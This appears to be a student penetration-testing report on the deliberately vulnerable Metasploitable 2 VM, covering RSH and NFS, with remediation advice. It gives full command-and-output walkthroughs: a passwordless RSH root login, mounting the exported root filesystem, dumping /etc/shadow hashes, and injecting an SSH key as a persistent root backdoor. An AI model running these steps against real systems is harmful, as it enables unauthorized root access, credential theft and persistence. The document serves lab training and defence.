VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

Target: Metasploitable 2

Focus: Port 514 (RSH) & Port 2049 (NFS)

Target IP: 192.168.3.129

Prepared by:	Faysal Amin
Course:	Diploma in Cybersecurity
Institute:	Creative IT Institute, Dhaka, Bangladesh
Date:	April 27, 2026
Version:	1.0
Classification:	Confidential — Educational Use Only

Disclaimer

This report has been prepared solely for educational purposes as part of a cybersecurity course project at Creative IT Institute. All penetration testing activities were conducted within a controlled, isolated lab environment using Metasploitable 2, a purposefully vulnerable virtual machine designed for security training.

No real systems, networks, or organizations were targeted, accessed, or harmed during this assessment. The techniques and tools described herein are presented strictly for educational understanding of cybersecurity vulnerabilities and defensive practices.

Unauthorized penetration testing of systems without explicit written permission is illegal and unethical. The author does not condone or encourage any illegal activities.

Confidentiality Statement

This document is the property of Faysal Amin and Creative IT Institute. It contains information related to cybersecurity assessment methodologies and findings. Any duplication, redistribution, or use of this document, in whole or in part, requires prior consent. This report is strictly for academic evaluation purposes.

Table of Contents

1	Disclaimer & Confidentiality Statement	2
2	Table of Contents	3
3	Version History	4
4	Assessment Overview	4
5	Finding Severity Ratings	4
6	Scope	5
7	Executive Summary	6
8	Vulnerability Assessment — Port 514 (RSH)	7
9	Penetration Testing — Port 514 (RSH)	7
10	Vulnerability Assessment — Port 2049 (NFS)	11
11	Penetration Testing — Port 2049 (NFS)	11
12	Risk Assessment Summary	16
13	Recommendations	17
14	Conclusion	18

Version History

Version	Date	Author	Comment
1.0	April 27, 2026	Faysal Amin	Initial Report

Assessment Overview

This penetration testing assessment was conducted as part of the Diploma in Cybersecurity program at Creative IT Institute. The assessment targeted Metasploitable 2, a deliberately vulnerable Linux virtual machine, focusing specifically on Port 514 (RSH — Remote Shell) and Port 2049 (NFS — Network File System).

The testing was conducted on April 27, 2026, in an isolated VirtualBox home lab environment. The penetration testing process followed established industry methodologies and was carried out in the following phases:

- Planning: Defined target scope, selected ports, and established testing methodology.
- Discovery & Reconnaissance: Conducted network scanning and enumeration using Nmap to identify open ports, running services, and potential vulnerabilities.
- Vulnerability Assessment: Analyzed identified services for known vulnerabilities and CVE entries.
- Attack & Exploitation: Verified vulnerabilities through active exploitation using Metasploit Framework and native Linux tools.
- Reporting: Documented all findings, exploitation steps, screenshots, and remediation recommendations.

Finding Severity Ratings

Severity	CVSS V3 Score	Definition
Critical	9.0 – 10.0	Exploitation is straightforward and usually results in system-level compromise. Patch immediately.
High	7.0 – 8.9	Exploitation is more difficult but could cause elevated privileges and data loss. Patch as soon as possible.
Moderate	4.0 – 6.9	Vulnerabilities exist but require extra steps to exploit. Patch after high-priority issues are resolved.
Low	0.1 – 3.9	Non-exploitable vulnerabilities that reduce the attack surface. Patch during the next maintenance window.

Scope

Target Scope

IP Address	Operating System	Overview
192.168.3.129	Linux Ubuntu (Metasploitable 2)	Intentionally vulnerable target machine

Ports Under Assessment

Port	Service	Protocol	Description
514	RSH (Remote Shell)	TCP	Remote command execution service
2049	NFS (Network File System)	TCP	Network file sharing service

Scope Exclusion

No Denial of Service (DoS) attacks were performed during this assessment. Testing was strictly limited to the two identified ports within the isolated lab environment.

Tools Used

Tool	Purpose
Nmap 7.99	Network scanning, service version detection, vulnerability scanning
Metasploit Framework	Exploitation framework for RSH and NFS vulnerabilities
RSH Client	Direct remote shell access to target
NFS-Common / mount	Mounting NFS shares from target machine
SSH-Keygen	RSA key pair generation for SSH access via NFS

Executive Summary

A penetration test was performed on the Metasploitable 2 virtual machine (IP: 192.168.3.129) on April 27, 2026, targeting Port 514 (RSH) and Port 2049 (NFS). Both vulnerabilities were successfully exploited, resulting in complete root-level access to the target system.

Port 514 (RSH) was found to accept remote connections with no password authentication, allowing immediate root shell access using both Metasploit's auxiliary/scanner/rservices/rsh_login module and the native rsh client.

Port 2049 (NFS) was configured to export the entire root filesystem (/) with no access controls, allowing an unauthenticated attacker to mount the filesystem, read sensitive files including the /etc/shadow password file, and inject an SSH public key to gain persistent root access.

Both vulnerabilities are rated Critical (CVSS 10.0) and represent a complete compromise of system confidentiality, integrity, and availability. Immediate remediation is strongly recommended.

Result Overview

Port	Service	Severity	Result
514	RSH — Remote Shell	CRITICAL	Root Shell Obtained
2049	NFS — Network File System	CRITICAL	Root Access via SSH Key Injection

Port 514 — RSH (Remote Shell) Assessment

Vulnerability Description

Field	Details
Port	514/TCP
Service	RSH — Remote Shell (rshd)
Vulnerability	No Authentication Required — RSH Trust Misconfiguration
CVE	CVE-1999-0651 — RSH Unauthenticated Access
CVSS Score	10.0 — Critical
Access Gained	Full root shell access to target system

RSH (Remote Shell) is a legacy Unix remote access protocol that operates on TCP port 514. Metasploitable 2 runs rshd configured to trust connections from root without requiring any password. This allows an attacker on the same network to obtain a root shell instantly without any authentication.

Step 1: Service Verification — Nmap Scan

The first step was to verify that port 514 was open and identify the running service using Nmap's service version detection and vulnerability scan scripts.

Command used:

nmap -sV 192.168.3.128 -p 514

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.3.128 -p 514
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 11:58 -0400
Nmap scan report for 192.168.3.128
Host is up.

PORT    STATE    SERVICE VERSION
514/tcp filtered shell

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.87 seconds
```

The initial scan on 192.168.3.128 showed port 514 as filtered. The correct target IP was confirmed as 192.168.3.129.

Command used:

sudo nmap -p 514 --script=vuln 192.168.3.129

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p 514 --script=vuln 192.168.3.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 12:01 -0400
Nmap scan report for 192.168.3.129
Host is up (0.00050s latency).

PORT    STATE SERVICE
514/tcp open  shell
MAC Address: 00:0C:29:AB:96:12 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.19 seconds
```

Result: Port 514/tcp is confirmed OPEN running shell service on target 192.168.3.129 (MAC: 00:0C:29:AB:96:12 — VMware). The vulnerability scan confirmed the service is accessible.

Step 2: Searching Metasploit for RSH Module

Metasploit Framework was launched and searched for RSH-related modules to identify the appropriate auxiliary scanner.

Commands used:

msfconsole -q

search rsh

```
┌──(kali㉿kali)-[~]
└─$ msfconsole -q
msf > search rsh

Matching Modules
================

   #    Name                                                      Disclosure Date  Rank
Check  Description
   -    ----                                                      ---------------  ----
 ----   -----------
   0    exploit/linux/local/abrt_raceabrt_priv_esc                2015-04-14       excellent
Yes    ABRT raceabrt Privilege Escalation
   1    post/windows/gather/ad_to_sqlite                          .                normal
No     AD Computer, Group and Recursive User Membership to Local SQLite DB
   2    exploit/windows/http/advantech_iview_unauth_rce           2021-02-09       excellent
Yes    Advantech iView Unauthenticated Remote Code Execution
   3       \_ target: Windows Command                             .                .
.      .
   4       \_ target: Windows Dropper                             .                .
.      .
   5       \_ target: PowerShell Stager                           .                .
```

```
   652     \_ target: Windows Powershell                          .                .
.      .
   653  exploit/linux/http/php_imap_open_rce                      2018-10-23       good
Yes    php imap_open Remote Code Execution
   654     \_ target: prestashop                                  .                .
.      .
   655     \_ target: suitecrm                                    .                .
.      .
   656     \_ target: e107v2                                      .                .
.      .
   657     \_ target: Horde IMP H3                                .                .
.      .
   658     \_ target: custom                                      .                .
.      .
   659  auxiliary/scanner/rservices/rsh_login                     .                normal
No     rsh Authentication Scanner


Interact with a module by name or index. For example info 659, use 659 or use auxiliary/scanner/rservices/rsh_l
```

The search returned module #659: auxiliary/scanner/rservices/rsh_login — RSH Authentication Scanner. This module was selected for exploitation.

Step 3: Configuring the RSH Module

The RSH login auxiliary module was loaded and configured with the target IP, port, and credentials.

Commands used:

use 659 set RHOSTS 192.168.3.129 set RPORT 514 set USERNAME root set PASSWORD "" set VERBOSE true

```
msf auxiliary(scanner/rservices/rsh_login) > show options

Module options (auxiliary/scanner/rservices/rsh_login):

   Name              Current Setting                Required  Description
   ----              ---------------                --------  -----------
   ANONYMOUS_LOGIN   false                          yes       Attempt to login with a blank username and passw
                                                              ord
   BLANK_PASSWORDS   false                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                              yes       How fast to bruteforce, from 0 to 5
   CreateSession     true                           no        Create a new session for every successful login
   DB_ALL_CREDS      false                          no        Try each user/password couple stored in the curr
                                                              ent database
   DB_ALL_PASS       false                          no        Add all passwords in the current database to the
                                                               list
   DB_ALL_USERS      false                          no        Add all users in the current database to the lis
                                                              t
   DB_SKIP_EXISTING  none                           no        Skip existing credentials stored in the current
                                                              database (Accepted: none, user, user&realm)
   ENABLE_STDERR     false                          yes       Enables connecting the stderr port
```

```
   FROMUSER                                         no        The username to login from
   FROMUSER_FILE     /usr/share/metasploit-framew   no        File containing from usernames, one per line
                     ork/data/wordlists/rservices
                     _from_users.txt
   PASSWORD                                         no        A specific password to authenticate with
   PASS_FILE                                        no        File containing passwords, one per line
   RHOSTS            192.168.3.129                  yes       The target host(s), see https://docs.metasploit.
                                                              com/docs/using-metasploit/basics/using-metasploi
                                                              t.html
   RPORT             514                            yes       The target port (TCP)
   STOP_ON_SUCCESS   false                          yes       Stop guessing when a credential works for a host
   THREADS           1                              yes       The number of concurrent threads (max one per ho
                                                              st)
   USERNAME          root                           no        A specific username to authenticate as
   USERPASS_FILE                                    no        File containing users and passwords separated by
                                                               space, one pair per line
   USER_AS_PASS      false                          no        Try the username as the password for all users
   USER_FILE                                        no        File containing usernames, one per line
   VERBOSE           true                           yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Configuration: RHOSTS set to 192.168.3.129, RPORT 514, USERNAME root, PASSWORD empty (no password), VERBOSE true.

Step 4: Exploitation — RSH Module Execution

The configured module was executed against the target.

Command used:

run

```
msf > use 659
msf auxiliary(scanner/rservices/rsh_login) > set RHOSTS 192.168.3.129
RHOSTS => 192.168.3.129
msf auxiliary(scanner/rservices/rsh_login) > set RPORT 514
RPORT => 514
msf auxiliary(scanner/rservices/rsh_login) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/rservices/rsh_login) > set PASSWORD ""
PASSWORD =>
msf auxiliary(scanner/rservices/rsh_login) > set VERBOSE true
VERBOSE => true
msf auxiliary(scanner/rservices/rsh_login) > run
[*] 192.168.3.129:514      - 192.168.3.129:514 - Starting rsh sweep
[*] 192.168.3.129:514      - 192.168.3.129:514 - Attempting rsh with username 'root' from 'root'
[+] 192.168.3.129:514      - 192.168.3.129:514, rsh 'root' from 'root' with no password.
[!] 192.168.3.129:514      - No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (0.0.0.0:1023 -> 192.168.3.129:514) at 2026-04-27 12:08:30 -0400
[*] 192.168.3.129:514      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Result: CRITICAL SUCCESS. The module confirmed that RSH accepts root login from root with no password. A command shell session was opened at 2026-04-27 12:08:30. The target accepted the connection without any authentication challenge.

Step 5: Root Shell Access — Direct RSH Connection

Following Metasploit confirmation, a direct RSH connection was established to the target using the native rsh client.

Command used:

rsh -l root 192.168.3.129

```
┌──(kali㉿kali)-[~]
└─$ rsh -l root 192.168.3.129
Last login: Mon Apr 27 11:56:57 EDT 2026 from 192.168.3.128 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# whoami
root
root@metasploitable:~#
```

Result: Full root shell obtained. The whoami command confirmed access as root on the Metasploitable 2 system. The attacker now has complete control over the target machine.

Impact Analysis — Port 514

Impact Category	Details
CVSS Score	10.0 — Critical
Confidentiality	Complete — All system files and data are exposed
Integrity	Complete — Full system compromise, attacker can modify anything
Availability	Complete — Attacker can shut down or disable all services
Access Complexity	Low — No special skills required, one command gives root access
Authentication Required	None — Zero authentication needed

Port 2049 — NFS (Network File System) Assessment

Vulnerability Description

Field	Details
Port	2049/TCP
Service	NFS — Network File System (version 2-4, RPC #100003)
Vulnerability	World-Readable NFS Export — No Access Control
CVE	CVE-1999-0554 — NFS Export with No Authentication
CVSS Score	10.0 — Critical
Access Gained	Root filesystem access, shadow file read, persistent SSH root access

NFS (Network File System) running on port 2049 on Metasploitable 2 is configured to export the entire root filesystem (/) to all hosts with no access restriction. This allows any attacker on the network to mount the target's filesystem, read sensitive files, and modify system files — including injecting SSH keys for persistent root access.

Step 1: Service Verification — Nmap Scan

Port 2049 was scanned to identify the NFS service version and confirm the service is running.

Command used:

nmap -p 2049 -sV 192.168.3.129

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 2049 -sV 192.168.3.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 12:15 -0400
Nmap scan report for 192.168.3.129
Host is up (0.00051s latency).

PORT     STATE SERVICE VERSION
2049/tcp open  nfs     2-4 (RPC #100003)
MAC Address: 00:0C:29:AB:96:12 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds
```

Result: Port 2049/tcp is confirmed OPEN running NFS version 2-4 (RPC #100003) on target 192.168.3.129.

Command used:

sudo nmap -p 2049 --script=vuln 192.168.3.129

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p 2049 --script=vuln 192.168.3.129
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 12:16 -0400
Nmap scan report for 192.168.3.129
Host is up (0.00058s latency).

PORT     STATE SERVICE
2049/tcp open  nfs
MAC Address: 00:0C:29:AB:96:12 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 10.88 seconds
```

Result: Vulnerability scan confirmed 2049/tcp open NFS service. No restrictions detected on the NFS export.

Step 2: Searching Metasploit for NFS Module

Metasploit was searched for NFS-related scanner modules to enumerate mountable shares.

Command used:

search nfs

```
msf > search nfs

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Chec
k  Description
   -   ----                                                      ---------------  ----       ----
-  -----------
   0   exploit/multi/http/atlassian_confluence_rce_cve_2024_21683  2024-05-21       excellent  Yes
   Atlassian Confluence Administrator Code Macro Remote Code Execution
   1   exploit/multi/http/atlassian_confluence_namespace_ognl_injection  2022-06-02       excellent  Yes
   Atlassian Confluence Namespace OGNL Injection
   2     \_ target: Unix Command                                 .                .          .
   .
   3     \_ target: Linux Dropper                                .                .          .
   .
   4     \_ target: Windows Command                              .                .          .
   .
   5     \_ target: Windows Dropper                              .                .          .
   .
```

```
   6   exploit/multi/http/atlassian_confluence_unauth_backup  2023-10-31       excellent  Yes
   Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)
   7   exploit/multi/http/atlassian_confluence_webwork_ognl_injection  2021-08-25       excellent  Yes
   Atlassian Confluence WebWork OGNL Injection
   8     \_ target: Unix Command                                 .                .          .
   .
   9     \_ target: Linux Dropper                                .                .          .
   .
   10    \_ target: Windows Command                              .                .          .
   .
   11    \_ target: Windows Dropper                              .                .          .
   .
   12    \_ target: PowerShell Stager                            .                .          .
   .
   13  auxiliary/dos/freebsd/nfsd/nfsd_mount                     .                normal     No
   FreeBSD Remote NFS RPC Request Denial of Service
   14  exploit/windows/ftp/labf_nfsaxe                           2017-05-15       normal     No
   LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow
   15  exploit/osx/local/nfs_mount_root                          2014-04-11       normal     Yes
   Mac OS X NFS Mount Privilege Escalation Exploit
   16  auxiliary/scanner/nfs/nfsmount                            .                normal     No
```

```
NFS Mount Scanner
17  exploit/netware/sunrpc/pkernel_callit                         2009-09-30       good       No
NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
18    \_ target: Automatic                                        .                .          .
.
19    \_ target: NetWare 6.5 SP2                                  .                .          .
.
20    \_ target: NetWare 6.5 SP3                                  .                .          .
.
21    \_ target: NetWare 6.5 SP4                                  .                .          .
.
22    \_ target: NetWare 6.5 SP5                                  .                .          .
.
23    \_ target: NetWare 6.5 SP6                                  .                .          .
.
24    \_ target: NetWare 6.5 SP7                                  .                .          .
.
25    \_ target: NetWare 6.5 SP8                                  .                .          .
.
26  exploit/windows/nfs/xlink_nfsd                                2006-11-06       average    No
Omni-NFS Server Buffer Overflow
```

```
   23     \_ target: NetWare 6.5 SP6                                  .                .          .
   .
   24     \_ target: NetWare 6.5 SP7                                  .                .          .
   .
   25     \_ target: NetWare 6.5 SP8                                  .                .          .
   .
   26  exploit/windows/nfs/xlink_nfsd                                 2006-11-06       average    No
   Omni-NFS Server Buffer Overflow
   27  exploit/windows/ftp/xlink_client                               2009-10-03       normal     No
   Xlink FTP Client Buffer Overflow
   28     \_ target: Windows XP Pro SP3 English                       .                .          .
   .
   29     \_ target: Windows 2000 SP4 English                         .                .          .
   .
   30  exploit/windows/ftp/xlink_server                               2009-10-03       good       Yes
   Xlink FTP Server Buffer Overflow

Interact with a module by name or index. For example info 30, use 30 or use exploit/windows/ftp/xlink_ser
ver
```

Module #16 identified: auxiliary/scanner/nfs/nfsmount — NFS Mount Scanner. This module was selected to enumerate accessible NFS shares on the target.

Step 3: Configuring and Running NFS Mount Scanner

The NFS mount scanner was configured and executed to identify mountable exports on the target.

Commands used:

use 16 show options set RHOSTS 192.168.3.129 run

```
msf > use 16
msf auxiliary(scanner/nfs/nfsmount) > show options

Module options (auxiliary/scanner/nfs/nfsmount):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   HOSTNAME                   no        Hostname to match shares against
   LHOST     192.168.3.128    no        IP to match shares against
   PROTOCOL  udp              yes       The protocol to use (Accepted: udp, tcp)
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                        metasploit/basics/using-metasploit.html
   RPORT     111              yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.
```

```
msf auxiliary(scanner/nfs/nfsmount) > set RHOSTS 192.168.3.129
RHOSTS => 192.168.3.129
msf auxiliary(scanner/nfs/nfsmount) > run
[+] 192.168.3.129:111     - 192.168.3.129 Mountable NFS Export: / [*]
[*] 192.168.3.129:111     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/nfs/nfsmount) >
```

Result: CRITICAL FINDING. The scanner confirmed that the entire root filesystem '/' is exported and mountable by any host with no authentication required. This is a catastrophic misconfiguration.

Step 4: Installing NFS Client Tools

NFS client utilities were installed on the Kali attacker machine to enable mounting the target's filesystem.

Command used:

sudo apt install nfs-common -y

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install nfs-common -y
[sudo] password for kali:
nfs-common is already the newest version (1:2.8.7-1).
The following packages were automatically installed and are no longer required:
  curlftpfs                libmjpegutils-2.1-0t64   libsnmp40t64                openjdk-21-jre
  libaudio2                libmpeg2encpp-2.1-0t64   libsphinxbase3t64           pocketsphinx-en-us
  libavfilter10            libmplex2-2.1-0t64       libswscale8                 postgresql-common-dev
  libavformat61            libmupdf25.1             libteamdctl0                python3-aiocache
  libblosc2-4              libonnx1t64              libtsk19t64                 python3-aiomcache
  libconfig-inifiles-perl  libonnxruntime-providers libtss2-fapi1t64            python3-fs
  libcrypt-dev             libonnxruntime1.21       libunibreak6                python3-pysnmp4
  libdlt2                  libplacebo351            libvdpau-va-gl1             python3-terminaltables
  libdnnl3.6               libpocketsphinx3         libxnnpack0.20241108        python3-wapiti-arsenic
  libfuse2t64              libpostproc58            libzxing3                   python3-yaswfp
  libgav1-1                librubberband2           linux-base-6.18.5+kali-amd64 ruby-unf-ext
  libgdk-pixbuf2.0-bin     libsframe2               linux-image-6.16.8+kali-amd64 vdpau-driver-all
  libio-pty-perl           libsimdutf29             linux-image-6.18.5+kali-amd64
  libipc-run-perl          libsimdutf31             mesa-vdpau-drivers
Use 'sudo apt autoremove' to remove them.

Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 54
```

Result: nfs-common package confirmed already installed (version 1:2.8.7-1).

Step 5: Mounting Target Filesystem & Reading Shadow File

The target's root filesystem was mounted locally and sensitive system files were accessed.

Commands used:

sudo mount -t nfs 192.168.3.129:/ /mnt/nfs sudo cat /mnt/nfs/etc/shadow

```
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.3.129:/ /mnt/nfs
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.

┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/etc/shadow
cat: /mnt/nfs/etc/shadow: Permission denied

┌──(kali㉿kali)-[~]
└─$ sudo cat /mnt/nfs/etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
```

Result: CRITICAL. The target's root filesystem was successfully mounted to /mnt/nfs on the attacker machine. The /etc/shadow file containing hashed passwords for all system users was read successfully. This includes the root password hash and credentials for all system accounts including daemon, sys, sync, games, and many others.

Step 6: SSH Key Injection for Persistent Root Access

An RSA SSH key pair was generated and the public key was injected into the target's root SSH authorized_keys file via the NFS mount, establishing persistent backdoor access.

Commands used:

ssh-keygen -t rsa -f /tmp/nfs_key -N ""

```
┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa -f /tmp/nfs_key -N ""
Generating public/private rsa key pair.
Your identification has been saved in /tmp/nfs_key
Your public key has been saved in /tmp/nfs_key.pub
The key fingerprint is:
SHA256:BHokdANTImdt97SDjq9rTuQ2wNJJmy3AYKdp+Zwkkk4 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| ...oO+*         |
|.+=+ Boo. .      |
|oEo.o....+ .     |
|= ==.* .. +      |
| ..+O ooS  .     |
|   . =. .        |
|      =.         |
|      o ...      |
|     o+o         |
+----[SHA256]-----+
```

A 3072-bit RSA key pair was generated. The public key was then injected into the target's authorized_keys file.

Commands used:

sudo tee /mnt/nfs/root/.ssh/authorized_keys < /tmp/nfs_key.pub ssh -i /tmp/nfs_key root@192.168.3.129

```
┌──(kali㉿kali)-[~]
└─$ sudo tee /mnt/nfs/root/.ssh/authorized_keys < /tmp/nfs_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc81zLfJf/FhYhnBxmTnAK2dJMbyn7pg+gcCV5sQfmcm+DkCi6hqu7TqtYe2y0VU3TVyVLkX0dNT2BwcmxCS5bnl
calWHxP+t9naJPSLWltgwH5OKGTfDlGUuMznbtmYuz1WnOAqO2jwINTGyX6Mjdg9g2LIxf+mqBF95×5AOnnsiH59R0a2iMxRPRfW/Ze6itzNB/wLL+eeB2Fk/7E5Xd
EZcUox9MRc4nh7Oy2xBVU/tB2nr3GVifPYHk88kMlwof9XCKksJqNhkYfRcuIJZ7xvGQZBXk5V7NJCF9QhbA1bIit6WMMlGLZ/xxSK18jygFX/c4POdq9zIYRxjSr+
H68De+DRdP3BCwnJjy2ggIO+RFLpS7+xd0mQ/SgY3ZPVJ169XAg2wSm4Fod1RwcFHNiPGxfcXEF6005a1gFSVpzf/Z9B8I28NjMCzvgi+Hz6IsKnDKE0NN2W3KXdv7
RD11aI9fQYbc5EEUjbQhKh8/HQ2PpHqew2Ob6sFMCIX5428= kali@kali

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/nfs_key root@192.168.3.129
Last login: Mon Apr 27 12:10:52 2026 from 192.168.3.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# whoami
root
root@metasploitable:~#
```

Result: COMPLETE SYSTEM COMPROMISE. The SSH public key was successfully written to /root/.ssh/authorized_keys on the target machine via the NFS mount. A subsequent SSH login using the private key confirmed root access. The whoami command returned root — the attacker now has persistent, passwordless root access to the target machine.

Impact Analysis — Port 2049

Impact Category	Details
CVSS Score	10.0 — Critical
Confidentiality	Complete — Shadow file, all system files exposed and readable
Integrity	Complete — SSH key injected, persistent backdoor established
Availability	Complete — Full root control over all services and data
Access Complexity	Low — Standard Linux tools sufficient, no exploit code needed
Authentication Required	None — No credentials needed at any stage
Persistence	High — SSH key injection provides permanent backdoor access

Risk Assessment Summary

Port	Service	Vulnerability	CVSS	Impact
514	RSH	No Authentication	**10.0**	Instant Root Shell
2049	NFS	World-Readable Export	**10.0**	Root FS Access + SSH Backdoor

Recommendations

Port 514 — RSH Remediation

No.	Control	Recommended Action
1	Disable RSH Service	Disable and remove rsh-server immediately. RSH is an obsolete and insecure protocol.
2	Use SSH Instead	Replace RSH with SSH (OpenSSH) which provides encrypted and authenticated remote access.
3	Remove .rhosts Files	Delete all .rhosts and /etc/hosts.equiv trust files to eliminate trust-based authentication.
4	Firewall Rules	Block port 514 at the firewall level to prevent any external access to RSH service.
5	Network Monitoring	Implement IDS/IPS rules to detect and alert on RSH connection attempts.

Port 2049 — NFS Remediation

No.	Control	Recommended Action
1	Restrict NFS Exports	Configure /etc/exports to allow only specific trusted IP addresses. Never export '/' to all hosts.
2	Enable Root Squashing	Add 'root_squash' option to NFS exports to prevent remote root users from having root privileges.
3	Use NFS v4 with Kerberos	Implement NFSv4 with Kerberos authentication (krb5p) for encrypted and authenticated file sharing.
4	Firewall Protection	Restrict port 2049 access at the firewall to only authorized internal network segments.
5	Audit SSH Keys	Immediately audit all authorized_keys files across all user accounts and remove unauthorized keys.
6	Monitor NFS Mounts	Implement logging and alerting for all NFS mount operations to detect unauthorized access attempts.

Conclusion

This penetration test successfully demonstrated critical vulnerabilities on Metasploitable 2 through the exploitation of Port 514 (RSH) and Port 2049 (NFS). Both vulnerabilities resulted in complete root-level compromise of the target system.

Port 514 (RSH) allowed immediate unauthenticated root shell access due to complete absence of password authentication — a dangerous legacy protocol that should never be used in modern environments. Port 2049 (NFS) allowed the entire root filesystem to be mounted by any network host without authentication, enabling sensitive data exposure and persistent backdoor establishment through SSH key injection.

These findings underscore critical security principles:

- Legacy protocols such as RSH should be replaced with modern secure alternatives like SSH.
- Network file sharing services must be configured with strict access controls, authentication requirements, and network-level restrictions.
- Regular vulnerability assessments and penetration testing are essential to identify and remediate security weaknesses before malicious actors can exploit them.
- Defense in depth — including firewalls, IDS/IPS, and audit logging — provides additional protection layers beyond service-level hardening.

Both vulnerabilities received the maximum CVSS score of 10.0 (Critical) and require immediate remediation. The recommendations provided in this report, if implemented, will significantly reduce the attack surface and improve the overall security posture of the target environment.

Faysal Amin | Cybersecurity Analyst | faysal.amin94@gmail.com
Creative IT Institute, Dhaka, Bangladesh | May 2026